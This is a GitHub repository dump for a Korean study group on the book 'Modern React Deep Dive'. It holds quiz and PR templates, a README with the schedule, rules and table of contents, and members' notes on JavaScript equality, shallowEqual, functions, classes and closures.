├── .github ├── ISSUE_TEMPLATE │ └── quiz-template.yaml └── pull_request_template.md ├── README.md ├── [01장] 리액트 개발을 위해 꼭 알아야 할 자바스크립트 ├── 주하.md ├── 효리.md ├── 효중.md └── 희석.md ├── [02장] 리액트 핵심 요소 깊게 살펴보기 ├── 주하.md ├── 효리.md └── 효중.md ├── [03장] 리액트 훅 깊게 살펴보기 ├── 주하.md ├── 효리.md ├── 효중.md └── 희석.md ├── [04장] 서버 사이드 렌더링 ├── 주하.md ├── 효리.md └── 효중.md ├── [05장] 리액트와 상태 관리 라이브러리 ├── 효리.md └── 효중.md ├── [10장] 리액트 17과 18의 변경 사항 살펴보기 ├── 효리.md └── 효중.md ├── [11장] Next.js 13과 리액트 18 ├── 주하.md ├── 효리.md └── 효중.md ├── [12장] 모든 웹 개발자가 관심을 가져야 할 핵심 웹 지표 ├── 효리.md └── 효중.md ├── [14장] 웹사이트 보안을 위한 리액트와 웹페이지 보안 이슈 ├── 주하.md ├── 효리.md └── 효중.md └── [15장] 마치며 ├── 주하.md ├── 효리.md └── 효중.md /.github/ISSUE_TEMPLATE/quiz-template.yaml: -------------------------------------------------------------------------------- 1 | name: 퀴즈 템플릿 2 | description: 이번 주 주제에 해당하는 퀴즈를 작성해주세요. 3 | title: '[장][<이름>] 제목' 4 | labels: ['quiz'] 5 | body: 6 | - type: markdown 7 | attributes: 8 | value: | 9 | 이번 장에 해당하는 퀴즈를 작성해주세요. 10 | - type: textarea 11 | id: quiz 12 | attributes: 13 | label: 퀴즈 14 | description: 문제의 질문을 작성해주세요. 15 | placeholder: 예) JSX는 어떻게 자바스크립트에서 변환될까요? 16 | validations: 17 | required: true 18 | - type: textarea 19 | id: answer 20 | attributes: 21 | label: 답 22 | value: | 23 |
24 | 정답 25 |
26 | 정답 설명 27 |
28 |
29 | validations: 30 | required: true 31 | - type: textarea 32 | id: description 33 | attributes: 34 | label: 댓글 작성법 35 | description: 아래 내용을 수정하지 말고 이슈를 생성해주세요. 36 | value: | 37 | (다음과 같이 답을 작성해 댓글로 달아주세요) 38 | <details> 39 | <summary>정답</summary> 40 | <div markdown="1"> 41 | 정답 설명 42 | </div> 43 | </details> 44 | -------------------------------------------------------------------------------- /.github/pull_request_template.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # [❓장] 챕터제목 #이슈번호 4 | 5 | 6 | 7 | 이슈번호를 눌러서 해당 챕터의 퀴즈들을 확인하고 코멘트로 퀴즈 답을 작성해주세요! 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🧡 모던 리액트 딥다이브 스터디 2 | 3 | 책 표지 4 | 5 | 6 | ## 👶 스터디 멤버 7 | 8 | | | | | | 9 | |:------------------------------------------------:|:--------------------------------------------:|:---------------------------------------------:|:---------------------------------------------:| 10 | | [김효리](https://github.com/hyoribogo) | [김효중](https://github.com/khj0426) | [김주하](https://github.com/hayamaster) | [김희석](https://github.com/HeeSeok-kim) | 11 | 12 | 13 | 14 | 15 | ## 🕓 스터디 시간 16 | 17 | 일시 : 매주 화요일, 목요일 22:00 18 | 19 | 장소 : ZOOM 20 | 21 | ## 🚩 스터디 공통 목표 22 | 23 | 1. 리액트 동작 원리를 정확하게 이해한다. 24 | 2. 서로 꾸준한 소통을 통해 더 단단한 지식을 채운다. 25 | 3. 스터디 활동은 즐겁게! 26 | 27 | ## 🛒 스터디 전 준비 사항 28 | 29 | - 책 읽기 30 | - 회차 폴더 안에 {이름}.md 파일 안에 공유할 내용 정리하기 31 | - 공부한 내용 정리 32 | - 질문(면접 질문 느낌) 33 | - 인상 깊은 점 34 | - 새로 알게된 개념 35 | - 해당 챕터 issue에 퀴즈 1~2문제 올리기 36 | 37 | ## 📚 스터디 진행방식 38 | 39 | - 모두 md 형식으로 해당 챕터 정리 + 퀴즈 준비 40 | - 스터디 당일 룰렛으로 발표자, 기록자 랜덤 선정 41 | - 발표 후, 질의응답 시간 42 | - 서로 준비한 퀴즈 풀이 후 또 질의응답 43 | - 스터디는 녹화하여 각자 유튜브 자율 업로드 44 | - 진행 과정 중 의견이나 문제점이 있다면 자유롭게 의견 제시 45 | 46 | ## 🧾 스터디 규칙 47 | 48 | - 불참시 반성문 작성 🟥 49 | - 진행자가 준비 못해오면 잡담_프리토크 채널에 반성문 올리기 🟥 50 | - 지각은 10분까지 인정. 이후 옐로카드 1장 🟨 51 | - 옐로카드 2장 = 반성문 🟨🟨 = 🟥 52 | 53 | ## 🗓 스터디 일정 54 | 55 | | 회차 | 일시 | 목차 | 참여자 | 발표자 | 비고 | 56 | | :--: |------------------:|-------------------|:-----------------:|:-------------:|--------------------------| 57 | | 1 | 01월 05일 (금) 12:00 | 2장 | ALL | 효중 | | 58 | | 2 | 01월 09일 (화) 23:00 | 1장 (1) | ALL | 효리 | | 59 | | 3 | 01월 11일 (목) 23:00 | 1장 (2) | ALL | 주하 | 희석 합류 | 60 | | 4 | 01월 16일 (화) 23:00 | 3장 (1) | ALL | 희석 | | 61 | | 5 | 01월 18일 (목) 23:00 | 3장 (2) | ALL | 효리 | 희석 하차 | 62 | | 6 | 01월 23일 (화) 23:00 | 4장 (1) | ALL | 주하 | | 63 | | 7 | 01월 26일 (금) 23:00 | 4장 (2) | 효리, 효중 | 효중 | | 64 | | 8 | 01월 30일 (화) 23:00 | 5장 (1) | 효리, 효중 | 효리 | | 65 | | 9 | 02월 06일 (화) 23:00 | 10장 (1) | 효리, 효중 | 효중 | | 66 | | 10 | 02월 09일 (금) 23:00 | 10장 (2) | 효리, 효중 | 효리 | | 67 | | 11 | 02월 13일 (화) 23:00 | 11장 (1) | ALL | 주하 | | 68 | | 12 | 02월 20일 (화) 23:00 | 11장 (2) | ALL | 효중 | | 69 | | 13 | 02월 23일 (금) 14:00 | 12장 | ALL | 효리 | | 70 | | 14 | 02월 27일 (화) 23:00 | 14, 15장 | ALL | 효리 | | 71 | 72 | ## 📍 목차 73 | 74 |
75 | 목차 76 |
77 | ▣ 들어가며
__왜 리액트인가?
__리액트의 역사
__2010년대 프런트엔드 개발 환경을 향한 페이스북의 도전
__BoltJS의 등장과 한계
__페이스북 팀의 대안으로 떠오른 리액트
__리액트에 대한 회의적인 의견과 비판
__드디어 빛을 보는 리액트
__리액트의 현재와 미래

▣ 01장: 리액트 개발을 위해 꼭 알아야 할 자바스크립트
1.1 자바스크립트의 동등 비교
__1.1.1 자바스크립트의 데이터 타입
__1.1.2 값을 저장하는 방식의 차이
__1.1.3 자바스크립트의 또 다른 비교 공식, Object.is
__1.1.4 리액트에서의 동등 비교
__1.1.5 정리
1.2 함수
__1.2.1 함수란 무엇인가?
__1.2.2 함수를 정의하는 4가지 방법
__1.2.3 다양한 함수 살펴보기
__1.2.4 함수를 만들 때 주의해야 할 사항
__1.2.5 정리
1.3 클래스
__1.3.1 클래스란 무엇인가?
__1.3.2 클래스와 함수의 관계
__1.3.3 정리
1.4 클로저
__1.4.1 클로저의 정의
__1.4.2 변수의 유효 범위, 스코프
__1.4.3 클로저의 활용
__1.4.4 주의할 점
__1.4.5 정리
1.5 이벤트 루프와 비동기 통신의 이해
__1.5.1 싱글 스레드 자바스크립트
__1.5.2 이벤트 루프란?
__1.5.3 태스크 큐와 마이크로 태스크 큐
__1.5.4 정리
1.6 리액트에서 자주 사용하는 자바스크립트 문법
__1.6.1 구조 분해 할당
__1.6.2 전개 구문
__1.6.3 객체 초기자
__1.6.4 Array 프로토타입의 메서드: map, filter, reduce, forEach
__1.6.5 삼항 조건 연산자
__1.6.6 정리
1.7 선택이 아닌 필수, 타입스크립트
__1.7.1 타입스크립트란?
__1.7.2 리액트 코드를 효과적으로 작성하기 위한 타입스크립트 활용법
__1.7.3 타입스크립트 전환 가이드
__1.7.4 정리

▣ 02장: 리액트 핵심 요소 깊게 살펴보기
2.1 JSX란?
__2.1.1 JSX의 정의
__2.1.2 JSX 예제
__2.1.3 JSX는 어떻게 자바스크립트에서 변환될까?
__2.1.4 정리
2.2 가상 DOM과 리액트 파이버
__2.2.1 DOM과 브라우저 렌더링 과정
__2.2.2 가상 DOM의 탄생 배경
__2.2.3 가상 DOM을 위한 아키텍처, 리액트 파이버
__2.2.4 파이버와 가상 DOM
__2.2.5 정리
2.3 클래스형 컴포넌트와 함수형 컴포넌트
__2.3.1 클래스형 컴포넌트
__2.3.2 함수형 컴포넌트
__2.3.3 함수형 컴포넌트 vs. 클래스형 컴포넌트
__2.3.4 정리
2.4 렌더링은 어떻게 일어나는가?
__2.4.1 리액트의 렌더링이란?
__2.4.2 리액트의 렌더링이 일어나는 이유
__2.4.3 리액트의 렌더링 프로세스
__2.4.4 렌더와 커밋
__2.4.5 일반적인 렌더링 시나리오 살펴보기
__2.4.6 정리
2.5 컴포넌트와 함수의 무거운 연산을 기억해 두는 메모이제이션
__2.5.1 주장 1: 섣부른 최적화는 독이다, 꼭 필요한 곳에만 메모이제이션을 추가하자
__2.5.2 주장 2: 렌더링 과정의 비용은 비싸다, 모조리 메모이제이션해 버리자
__2.5.3 결론 및 정리

▣ 03장: 리액트 훅 깊게 살펴보기
3.1 리액트의 모든 훅 파헤치기
__3.1.1 useState
__3.1.2 useEffect
__3.1.3 useMemo
__3.1.4 useCallback
__3.1.5 useRef
__3.1.6 useContext
__3.1.7 useReducer
__3.1.8 useImperativeHandle
__3.1.9 useLayoutEffect
__3.1.10 useDebugValue
__3.1.11 훅의 규칙
__3.1.12 정리
3.2 사용자 정의 훅과 고차 컴포넌트 중 무엇을 써야 할까?
__3.2.1 사용자 정의 훅
__3.2.2 고차 컴포넌트
__3.2.3 사용자 정의 훅과 고차 컴포넌트 중 무엇을 써야 할까?
__3.2.4 정리

▣ 04장: 서버 사이드 렌더링
4.1 서버 사이드 렌더링이란?
__4.1.1 싱글 페이지 애플리케이션의 세상
__4.1.2 서버 사이드 렌더링이란?
__4.1.3 SPA와 SSR을 모두 알아야 하는 이유
__4.1.4 정리
4.2 서버 사이드 렌더링을 위한 리액트 API 살펴보기
__4.2.1 renderToString
__4.2.2 renderToStaticMarkup
__4.2.3 renderToNodeStream
__4.2.4 renderToStaticNodeStream
__4.2.5 hydrate
__4.2.6 서버 사이드 렌더링 예제 프로젝트
__4.2.7 정리
4.3 Next.js 톺아보기
__4.3.1 Next.js란?
__4.3.2 Next.js 시작하기
__4.3.3 Data Fetching
__4.3.4 스타일 적용하기
__4.3.5 _app.tsx 응용하기
__4.3.6 next.config.js 살펴보기
__4.3.7 정리

▣ 05장: 리액트와 상태 관리 라이브러리
5.1 상태 관리는 왜 필요한가?
__5.1.1 리액트 상태 관리의 역사
__5.1.2 정리
5.2 리액트 훅으로 시작하는 상태 관리
__5.2.1 가장 기본적인 방법: useState와 useReducer
__5.2.2 지역 상태의 한계를 벗어나보자: useState의 상태를 바깥으로 분리하기
__5.2.3 useState와 Context를 동시에 사용해 보기
__5.2.4 상태 관리 라이브러리 Recoil, Jotai, Zustand 살펴보기
__5.2.5 정리

▣ 06장: 리액트 개발 도구로 디버깅하기
6.1 리액트 개발 도구란?
6.2 리액트 개발 도구 설치
6.3 리액트 개발 도구 활용하기
__6.3.1 컴포넌트
__6.3.2 프로파일러
6.4 정리

▣ 07장: 크롬 개발자 도구를 활용한 애플리케이션 분석
7.1 크롬 개발자 도구란?
7.2 요소 탭
__7.2.1 요소 화면
__7.2.2 요소 정보
7.3 소스 탭
7.4 네트워크 탭
7.5 메모리 탭
__7.5.1 자바스크립트 인스턴스 VM 선택
__7.5.2 힙 스냅샷
__7.5.3 타임라인 할당 계측
__7.5.4 할당 샘플링
7.6 Next.js 환경 디버깅하기
__7.6.1 Next.js 프로젝트를 디버그 모드로 실행하기
__7.6.2 Next.js 서버에 트래픽 유입시키기
__7.6.3 Next.js의 메모리 누수 지점 확인하기
7.7 정리

▣ 08장: 좋은 리액트 코드 작성을 위한 환경 구축하기
8.1 ESLint를 활용한 정적 코드 분석
__8.1.1 ESLint 살펴보기
__8.1.2 eslint-plugin과 eslint-config
__8.1.3 나만의 ESLint 규칙 만들기
__8.1.4 주의할 점
__8.1.5 정리
8.2 리액트 팀이 권장하는 리액트 테스트 라이브러리
__8.2.1 React Testing Library란?
__8.2.2 자바스크립트 테스트의 기초
__8.2.3 리액트 컴포넌트 테스트 코드 작성하기
__8.2.4 사용자 정의 훅 테스트하기
__8.2.5 테스트를 작성하기에 앞서 고려해야 할 점
__8.2.6 그 밖에 해볼 만한 여러 가지 테스트
__8.2.7 정리

▣ 09장: 모던 리액트 개발 도구로 개발 및 배포 환경 구축하기
9.1 Next.js로 리액트 개발 환경 구축하기
__9.1.1 create-next-app 없이 하나씩 구축하기
__9.1.2 tsconfig.json 작성하기
__9.1.3 next.config.js 작성하기
__9.1.4 ESLint와 Prettier 설정하기
__9.1.5 스타일 설정하기
__9.1.6 애플리케이션 코드 작성
__9.1.7 정리
9.2 깃허브 100% 활용하기
__9.2.1 깃허브 액션으로 CI 환경 구축하기
__9.2.2 직접 작성하지 않고 유용한 액션과 깃허브 앱 가져다 쓰기
__9.2.3 깃허브 Dependabot으로 보안 취약점 해결하기
__9.2.4 정리
9.3 리액트 애플리케이션 배포하기
__9.3.1 Netlify
__9.3.2 Vercel
__9.3.3 DigitalOcean
__9.3.4 정리
9.4 리액트 애플리케이션 도커라이즈하기
__9.4.1 리액트 앱을 도커라이즈하는 방법
__9.4.2 도커로 만든 이미지 배포하기
__9.4.3 정리

▣ 10장: 리액트 17과 18의 변경 사항 살펴보기
10.1 리액트 17 버전 살펴보기
__10.1.1 리액트의 점진적인 업그레이드
__10.1.2 이벤트 위임 방식의 변경
__10.1.3 import React from ‘reac’가 더 이상 필요 없다: 새로운 JSX transform
__10.1.4 그 밖의 주요 변경 사항
__10.1.5 정리
10.2 리액트 18 버전 살펴보기
__10.2.1 새로 추가된 훅 살펴보기
__10.2.2 react-dom/client
__10.2.3 react-dom/server
__10.2.4 자동 배치(Automatic Batching)
__10.2.5 더욱 엄격해진 엄격 모드
__10.2.6 Suspense 기능 강화
__10.2.7 인터넷 익스플로러 지원 중단에 따른 추가 폴리필 필요
__10.2.8 그 밖에 알아두면 좋은 변경사항
__10.2.9 정리

▣ 11장: Next.js 13과 리액트 18
11.1 app 디렉터리의 등장
__11.1.1 라우팅
11.2 리액트 서버 컴포넌트
__11.2.1 기존 리액트 컴포넌트와 서버 사이드 렌더링의 한계
__11.2.2 서버 컴포넌트란?
__11.2.3 서버 사이드 렌더링과 서버 컴포넌트의 차이
__11.2.4 서버 컴포넌트는 어떻게 작동하는가?
11.3 Next.js에서의 리액트 서버 컴포넌트
__11.3.1 새로운 fetch 도입과 getServerSideProps, getStaticProps, getInitial Props의 삭제
__11.3.2 정적 렌더링과 동적 렌더링
__11.3.3 캐시와 mutating, 그리고 revalidating
__11.3.4 스트리밍을 활용한 점진적인 페이지 불러오기
11.4 웹팩의 대항마, 터보팩의 등장(beta)
11.5 서버 액션(alpha)
__11.5.1 form의 action
__11.5.2 input의 submit과 image의 formAction
__11.5.3 startTransition과의 연동
__11.5.4 server mutation이 없는 작업
__11.5.5 서버 액션 사용 시 주의할 점
11.6 그 밖의 변화
11.7 Next.js 13 코드 맛보기
__11.7.1 getServerSideProps와 비슷한 서버 사이드 렌더링 구현해 보기
__11.7.2 getStaticProps와 비슷한 정적인 페이지 렌더링 구현해 보기
__11.7.3 로딩, 스트리밍, 서스펜스
11.8 정리 및 주의사항

▣ 12장: 모든 웹 개발자가 관심을 가져야 할 핵심 웹 지표
12.1 웹사이트와 성능
12.2 핵심 웹 지표란?
12.3 최대 콘텐츠풀 페인트(LCP)
__12.3.1 정의
__12.3.2 의미
__12.3.3 예제
__12.3.4 기준 점수
__12.3.5 개선 방안
12.4 최초 입력 지연(FID)
__12.4.1 정의
__12.4.2 의미
__12.4.3 예제
__12.4.4 기준 점수
__12.4.5 개선 방안
12.5 누적 레이아웃 이동(CLS)
__12.5.1 정의
__12.5.2 의미
__12.5.3 예제
__12.5.4 기준 점수
__12.5.5 개선 방안
__12.5.6 핵심 웹 지표는 아니지만 성능 확인에 중요한 지표들
12.6 정리

▣ 13장: 웹페이지의 성능을 측정하는 다양한 방법
13.1 애플리케이션에서 확인하기
__13.1.1 create-react-app
__13.1.2 create-next-app
13.2 구글 라이트하우스
__13.2.1 구글 라이트하우스 - 탐색 모드
__13.2.2 구글 라이트하우스 - 기간 모드
__13.2.3 구글 라이트하우스 - 스냅샷
13.3 WebPageTest
__13.3.1 Performance Summary
__13.3.2 Opportunities & Experiments
__13.3.3 Filmstrip
__13.3.4 Details
__13.3.5 Web Vitals
__13.3.6 Optimizations
__13.3.7 Content
__13.3.8 Domains
__13.3.9 Console Log
__13.3.10 Detected Technologies
__13.3.11 Main-thread Processing
__13.3.12 Lighthouse Report
__13.3.13 기타
13.4 크롬 개발자 도구
__13.4.1 성능 통계
__13.4.2 성능
13.5 정리

▣ 14장: 웹사이트 보안을 위한 리액트와 웹페이지 보안 이슈
14.1 리액트에서 발생하는 크로스 사이트 스크립팅(XSS)
__14.1.1 dangerouslySetInnerHTML prop
__14.1.2 useRef를 활용한 직접 삽입
__14.1.3 리액트에서 XSS 문제를 피하는 방법
14.2 getServerSideProps와 서버 컴포넌트를 주의하자
14.3 〈a〉 태그의 값에 적절한 제한을 둬야 한다
14.4 HTTP 보안 헤더 설정하기
__14.4.1 Strict-Transport-Security
__14.4.2 X-XSS-Protection
__14.4.3 X-Frame-Options
__14.4.4 Permissions-Policy
__14.4.5 X-Content-Type-Options
__14.4.6 Referrer-Policy
__14.4.7 Content-Security-Policy
__14.4.8 보안 헤더 설정하기
__14.4.9 보안 헤더 확인하기
14.5 취약점이 있는 패키지의 사용을 피하자
14.6 OWASP Top 10
14.7 정리

▣ 15장: 마치며
15.1 리액트 프로젝트를 시작할 때 고려해야 할 사항
__15.1.1 유지보수 중인 서비스라면 리액트 버전을 최소 16.8.6에서 최대 17.0.2로 올려두자
__15.1.2 인터넷 익스플로러 11 지원을 목표한다면 각별히 더 주의를 기한다
__15.1.3 서버 사이드 렌더링 애플리케이션을 우선적으로 고려한다
__15.1.4 상태 관리 라이브러리는 꼭 필요할 때만 사용한다
__15.1.5 리액트 의존성 라이브러리 설치를 조심한다
15.2 언젠가 사라질 수도 있는 리액트
__15.2.1 리액트는 그래서 정말 완벽한 라이브러리인가?
__15.2.2 오픈소스 생태계의 명과 암
__15.2.3 제이쿼리, AngularJS, 리액트, 그리고 다음은 무엇인가?
__15.2.4 웹 개발자로서 가져야 할 유연한 자세 78 |
79 |
80 | 81 | -------------------------------------------------------------------------------- /[01장] 리액트 개발을 위해 꼭 알아야 할 자바스크립트/주하.md: -------------------------------------------------------------------------------- 1 | ## 1장 2 | 3 | ### 🔗 [1.1 ~ 1.4](https://selective-scarer-9c2.notion.site/1-26457544b30f433d8c56eb8294af638a?pvs=4) 4 | 5 | ### 🔗 [1.5 ~ 1.7](https://selective-scarer-9c2.notion.site/1-2-0182578f34164b7087c56727d14ff0aa?pvs=4) 6 | -------------------------------------------------------------------------------- /[01장] 리액트 개발을 위해 꼭 알아야 할 자바스크립트/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/1-6aeb533740fb4dc7a78ced7e35086512?pvs=4) 2 | 3 | (1) 1.1 ~ 1.4장 추가 4 | 5 | (2) 1.5 ~ 1.7장 추가 6 | -------------------------------------------------------------------------------- /[01장] 리액트 개발을 위해 꼭 알아야 할 자바스크립트/효중.md: -------------------------------------------------------------------------------- 1 | ## 리액트 개발을 위해 꼭 알아야 할 자바스크립트 2 | 3 | 리액트 컴포넌트의 렌더링이 일어나는 이유 중 하나가 props의 동등 비교에 따른 결과 4 | 이다. 5 | 6 | 이 props의 동등 비교가 객체의 얕은 비교를 기반으로 이루어진다. 7 | 8 | ![](https://jinyisland.kr/assets/js/datatypes.png) 9 | 10 | ### 원시 타입 11 | 12 | 객체가 아닌 모든 타입을 의미한다. 객체가 아니므로 이런 타입은 메서드가 없다. 13 | 14 | 원시 타입 15 | 16 | - boolean 17 | - null 18 | - undefined 19 | - number 20 | - string 21 | - symbol : 중복되지 않는 어떤 고유한 값을 나타내기 위해 만들어진 타입. Symbol() 22 | 을 사용해서 제작 가능. 23 | 24 | ```js 25 | ex. const key = Symbol('key') 26 | ``` 27 | 28 | - bigint : number가 다룰 수 있는 숫자 크기의 제한을 극복하기 위해 ES2020에서 새 29 | 롭게 나온 타입. 2^53 - 1 보다 더 큰 숫자를 저장 가능 30 | 31 | 객체 타입 32 | 33 | - object : 참조를 전달해서 참조 타입이라고 불린다. 34 | 35 | ```js 36 | typeof [] === 'object'; // true 37 | typeof {} === 'object'; //true 38 | 39 | const hello1 = function () {}; 40 | 41 | const hello2 = function () {}; 42 | 43 | //육안으로는 같아보여도 참조가 다르다. 44 | hello === hello2; // false 45 | ``` 46 | 47 | ### 값을 저장하는 방식의 차이 48 | 49 | - 원시 타입은 불변 형태의 값으로 저장 50 | - 객체 타입은 변경 가능한 형태로 저장, 값을 복사할 때도 값이 아닌 참조를 전달 51 | 52 | 항상 객체 간의 비교가 발생하면 , 이 객체 간의 비교는 우리가 이해하는 내부의 값이 53 | 같아도 결과가 항상 true가 아닐 수 있다. 54 | 55 | ### Object.is 56 | 57 | 두 개의 인수를 받고, 이 인수 두 개가 동일한지 확인하고 반환하는 메서드이다. 58 | 59 | - ==는 강제로 타입 변환을 시켜 느슨한 비교 연산자로 작동한다. 60 | 61 | - ===는 타입이 다른 경우에 false를 리턴해 엄격한 비교 연산자로 작동한다. 62 | 63 | ```js 64 | -0 === +0; // true 65 | Object.is(-0, +0); // false 66 | 67 | Number.NaN === NaN; // false 68 | Object.is(Number.NaN, NaN); // true 69 | 70 | NaN === 0 / 0; // false 71 | Object.is(NaN, 0 / 0); // true 72 | ``` 73 | 74 | ### 리액트에서 동등 비교 75 | 76 | - 리액트는 Object.is를 기반으로 동등 비교를 하는 shallowEqual함수를 만들어서 사 77 | 용한다. 78 | 79 | 먼저 Object.is로 비교를 하고, 객체 간 얕은 비교(첫번째 뎁스만 비교)를 실행 80 | 81 | ```js 82 | //리액트에서의 shallowEqual 83 | 84 | function shallowEqual(objA: mixed, objB: mixed): boolean { 85 | // is는 Object.is를 의미한다. 86 | // Object.is라고 안한 이유는 폴리필을 적용하기 위해! 87 | 88 | // Object.is는 ===랑 유사하지만, +0,-0을 구분하고, NaN이 같으면 같다고 표기해준다. 89 | 90 | if (is(objA, objB)) { 91 | return true; 92 | } 93 | 94 | // null이 아닌 값 -> 객체가 아닌지 판별 95 | // Object.is를 통과하지 못한 값(3,4)등은 false를 리턴 96 | 97 | if ( 98 | typeof objA !== 'object' || 99 | objA === null || 100 | typeof objB !== 'object' || 101 | objB === null 102 | ) { 103 | return false; 104 | } 105 | 106 | // 이 단계는 객체만 남아있어서 객체끼리 비교 107 | // 객체의 키의 개수가 다르면 다른 요소기 떄문에 false리턴 108 | 109 | const keysA = Object.keys(objA); 110 | const keysB = Object.keys(objB); 111 | 112 | if (keysA.length !== keysB.length) { 113 | return false; 114 | } 115 | 116 | // 키의 개수가 동일한 객체. 117 | // objA의 키를 모두 순회하면서 키가 objB의 키이면서 값이 같은지 확인한다. 118 | 119 | for (let i = 0; i < keysA.length; i++) { 120 | const currentKey = keysA[i]; 121 | 122 | if ( 123 | !hasOwnProperty.call(objB, currentKey) || 124 | !is(objA[currentKey], objB[currentKey]) 125 | ) { 126 | return false; 127 | } 128 | } 129 | 130 | return true; 131 | } 132 | ``` 133 | 134 | 코드에서도 보이듯이, 첫번째 객체의 깊이까지의 키만 비교를 하기 때문에, 객체의 깊 135 | 이가 깊어지면 비교할 방법이 없어진다. 136 | 137 | ```js 138 | shallowEqual( 139 | { 140 | hello: 'world', 141 | }, 142 | { 143 | hello: 'world', 144 | } 145 | ); //true 146 | 147 | shallowEqual( 148 | { 149 | hello: { 150 | hi: 'world', 151 | }, 152 | }, 153 | { 154 | hello: { 155 | hi: 'world', 156 | }, 157 | } 158 | ); //false 159 | ``` 160 | 161 | ## 함수란 무엇인가? 162 | 163 | 함수란 작업을 수행하거나 값을 계산하는 등의 과정을 표현하고, 이를 하나의 블록으 164 | 로 감싸서 실행 단위로 만들어 놓은 것입니다. 165 | 166 | ## 함수를 정의하는 4가지 방법 167 | 168 | ### 함수 선언문 169 | 170 | - 가장 일반적인 방식이다!. 171 | - 호이스팅이 가능하므로 코드의 순서에 상관없이 함수를 호출할 수 있다. 172 | 173 | ### 함수 표현식 174 | 175 | - 함수는 '일급 객체'이다. 176 | - 함수는 다른 함수의 매개변수가 될 수도 있고, 반환값이 될 수도 있으며, 할당도 가 177 | 능하다. 178 | - 함수를 변수에 할당하는 것은 당연히 가능하다. 179 | - 호이스팅은 가능하지만 런타임 시점에 함수가 할당되어 작동한다. 180 | 181 | ### 화살표 함수 182 | 183 | - ES6에서 새로 추가된 방식으로, 가독성과 코드의 글자 수가 줄어들어 많이 사용되는 184 | 방식이다. 185 | - 기존 함수와 차이점 186 | - constructor 사용 불가 187 | - arguments 없음 188 | - this 바인딩 차이: 화살표 함수는 함수 자체의 바인딩을 갖지 않는다. 189 | 190 | ## 다양한 함수 살펴보기 191 | 192 | ### 즉시 실행 함수 (IIFE: Immediately Invoked Function Expression) 193 | 194 | - 함수를 정의하고 그 순간 즉시 실행되는 함수로, 단 한 번만 호출되고 다시금 호출 195 | 할 수 없다. 196 | 197 | ### 고차 함수 198 | 199 | - 함수를 인수로 받거나 결과로 새로운 함수를 반환하는 함수. 200 | - 이 특징을 활용해 고차 컴포넌트(Higher Order Component)를 만들 수 있다. 201 | 202 | https://jeonghwan-kim.github.io/2022/05/28/react-high-order-component 203 | 204 | ### 함수를 만들 때 주의해야 할 사항 205 | 206 | - 함수의 부수 효과(side effect)를 최대한 억제하기 207 | - 가능한 함수를 작게 만들기. 208 | - 누구나 이해할 수 있는 이름을 붙이기. 209 | - useEffect나 useCallback을 사용할 때 넘겨주는 콜백 함수에 네이밍을 붙여주면 가 210 | 독성에 도움이 될 수 있다. 211 | 212 | ```js 213 | useEffect(function apiRequest() { 214 | // do something 215 | }, []); 216 | ``` 217 | 218 | ## 클래스 219 | 220 | ### 클래스란 무엇인가? 221 | 222 | 클래스는 특정한 형태의 객체를 반복적으로 만들기 위해 사용되는 것입니다. 223 | 224 | - **constructor**: 객체를 생성하는데 사용하는 특수한 메서드로, 단 하나만 존재할 225 | 수 있으며 여러 개를 사용한다면 에러가 발생합니다. 생성자에서 별 다르게 수행할 226 | 작업이 없다면 생략도 가능합니다. 227 | - **프로퍼티**: 클래스로 인스턴스를 생성할 때 내부에 정의할 수 있는 속성값입니다 228 | . 229 | - **getter와 setter**: getter는 클래스에서 무언가 값을 가져올 때 사용하며, 230 | setter는 클래스 필드에 값을 할당할 때 사용합니다. 231 | - **인스턴스 메서드**: 클래스 내부에 선언한 메서드로, prototype 메서드라고도 합 232 | 니다. 233 | - **정적 메서드**: 클래스의 인스턴스가 아닌 이름으로 호출할 수 있는 메서드로, 234 | this를 사용할 수 없습니다. 전역 유틸 함수를 정적 메서드로 많이 활용합니다. 235 | - **상속**: 'extends' 키워드를 활용하면 기본 클래스를 기반으로 다양하게 파생된 236 | 클래스를 만들 수 있습니다. 237 | 238 | ### 클래스와 함수의 관계 239 | 240 | 클래스의 작동을 생성자 함수로 유사하게 재현할 수 있습니다. 241 | 242 | ### 클로저 243 | 244 | 클로저는 함수와 함수가 선언된 어휘적 환경의 조합이라고 정의되어 있다. 245 | 246 | ```js 247 | function add() { 248 | const a = 10; 249 | 250 | function innerAdd() { 251 | const b = 20; 252 | console.log(a + b); 253 | } 254 | 255 | innerAdd(); 256 | } 257 | ``` 258 | 259 | innerAdd 함수는 add 함수의 어휘적 환경, 즉 add 함수 범위 내에서 선언된 변수 a를 260 | 참조할 수 있다. 이런 상황을 클로저라고 한다. 261 | 262 | result는 add 함수가 반환한 innerAdd 함수를 참조하고 있다. result(20)을 호출하면, 263 | innerAdd 함수가 실행되고, innerAdd 함수 내부의 console.log(a + b);에서 a는 add 264 | 함수의 어휘적 환경을 참조하여 값을 가져온다. 이때 a의 값은 add 함수가 실행될 때 265 | 결정된 10이다. 266 | 267 | ### 전역 스코프 268 | 269 | 먼저 스코프는 변수의 유효 범위를 의미한다. 자바스크립트는 다양한 스코프가 있다. 270 | 271 | 전역 레벨에 선언하는 것을 전역 스코프라고 한다. 전역 객체에 전역 레벨에서 선언한 272 | 스코프가 바인딩된다. 273 | 274 | ```js 275 | var global = 'global scope'; 276 | 277 | function hello() { 278 | console.log(global); 279 | } 280 | 281 | console.log(global); //global scope 282 | 283 | hello(); 284 | 285 | console.log(global === window.global); // true 286 | ``` 287 | 288 | ### 함수 스코프 289 | 290 | 자바스크립트는 기본적으로 함수 레벨 스코프를 따른다. {} 블록이 스코프 범위를 결 291 | 정하지 않는다. 292 | 293 | ```js 294 | if (true) { 295 | var global = 'global scope'; 296 | } 297 | 298 | console.log(global); //global scope 299 | 300 | console.log(global === window.global); // true 301 | ``` 302 | 303 | 전역 스코프는 어디서든 값을 꺼내 올 수 있지만, 반대로 말하면 누구나 접근이 가능 304 | 하다. 305 | 306 | ### 리액트와 클로저 307 | 308 | 클로저의 원리를 사용하고 있는 대표적인 것 중 하나가 useState이다. 309 | 310 | ```js 311 | function Component() { 312 | const [state, setState] = useState(); 313 | 314 | function handleClick() { 315 | //useState의 호출은 끝나도 최신 값을 알고 있다. 클로저를 사용해서 가능하다 316 | 317 | setState((prev) => prev + 1); 318 | } 319 | } 320 | ``` 321 | 322 | 꼭 필요한 작업만 남겨 놓고 기억할 수 있도록 구성해야 한다그렇지 않으면 메모리를 323 | 불필요하게 잡아먹고 성능에 악영향을 미칠 수 있다. 